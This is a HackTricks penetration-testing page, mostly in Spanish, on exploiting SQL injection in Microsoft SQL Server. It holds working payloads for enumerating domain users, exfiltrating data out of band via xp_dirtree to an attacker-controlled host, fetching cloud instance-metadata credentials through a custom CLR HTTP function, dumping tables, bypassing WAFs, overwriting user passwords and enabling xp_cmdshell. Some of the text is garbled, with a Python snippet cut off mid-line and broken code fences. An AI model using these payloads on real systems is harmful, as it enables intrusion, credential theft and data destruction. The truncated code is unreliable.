# Inyección MSSQL {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %} ## Enumeración de Active Directory Puede ser posible **enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones MSSQL: * **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre del dominio actual. * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo) esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\ Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4). * **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, usando una función como la siguiente: ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' Los procedimientos almacenados como `xp_dirtree`, aunque no están documentados oficialmente por Microsoft, han sido descritos por otros en línea debido a su utilidad en operaciones de red dentro de MSSQL. Estos procedimientos se utilizan a menudo en la exfiltración de datos fuera de banda, como se muestra en varios [ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) y [publicaciones](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). El procedimiento almacenado `xp_dirtree`, por ejemplo, se utiliza para realizar solicitudes de red, pero está limitado solo al puerto TCP 445. El número de puerto no es modificable, pero permite leer desde recursos compartidos en la red. El uso se demuestra en el script SQL a continuación: ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); ``` Es notable que este método puede no funcionar en todas las configuraciones del sistema, como en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` ejecutándose en un `Windows Server 2016 Datacenter` con configuraciones predeterminadas. Además, hay procedimientos almacenados alternativos como `master..xp_fileexist` y `xp_subdirs` que pueden lograr resultados similares. Más detalles sobre `xp_fileexist` se pueden encontrar en este [artículo de TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx). ### `xp_cmdshell` Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para más información **lee la sección relevante** en la página: {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ### MSSQL User Defined Function - SQLHttp Crear una UDF CLR (Función Definida por el Usuario en el Tiempo de Ejecución de Lenguaje Común), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador. Se proporciona un proyecto de Visual Studio e instrucciones de instalación en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como una asamblea CLR, permitiendo así la ejecución de solicitudes HTTP GET desde dentro de MSSQL. El núcleo de esta funcionalidad está encapsulado en el archivo `http.cs`, que emplea la clase `WebClient` para ejecutar una solicitud GET y recuperar contenido como se ilustra a continuación: ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString(html); } } ``` Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento SQL para agregar el hash SHA512 de la asamblea a la lista de asambleas de confianza del servidor (visible a través de `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` Después de agregar la asamblea con éxito y crear la función, se puede utilizar el siguiente código SQL para realizar solicitudes HTTP: ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ### **Explotación Rápida: Recuperando Todo el Contenido de una Tabla en una Sola Consulta** [Truco de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). Un método conciso para extraer el contenido completo de una tabla en una sola consulta implica utilizar la cláusula `FOR JSON`. Este enfoque es más sucinto que usar la cláusula `FOR XML`, que requiere un modo específico como "raw". La cláusula `FOR JSON` es preferida por su brevedad. Aquí se explica cómo recuperar el esquema, las tablas y las columnas de la base de datos actual: ```sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: ```sql https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` ### Retrieving the Current Query [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: ```sql ```markdown https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` ``` To check if you have the VIEW SERVER STATE permission, the following query can be used: ```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **Little tricks for WAF bypasses** [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) Non-standard whitespace characters: %C2%85 или %C2%A0: ``` ```markdown https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` ``` Scientific (0e) and hex (0x) notation for obfuscating UNION: ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` A period instead of a whitespace between FROM and a column name: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N separator between SELECT and a throwaway column: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ### WAF Bypass with unorthodox stacked queries According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": ```sql SELECT 'a' SELECT 'b' ``` So for example, multiple queries such as: ```sql use [tempdb] create table [test] ([id] int) insert [test] values(1) select [id] from [test] drop table[test] ``` Can be reduced to: ```sql use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: ``` # Agregando un exec() inútil al final y haciendo que el WAF piense que esta no es una consulta válida admina'union select 1,'admin','testtest123'exec('select 1')-- ## Esto será: SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' # Usando consultas construidas de manera extraña admin'exec('update[users]set[password]=''a''')-- ## Esto será: SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' # O habilitando xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## Esto será select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` ## References * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}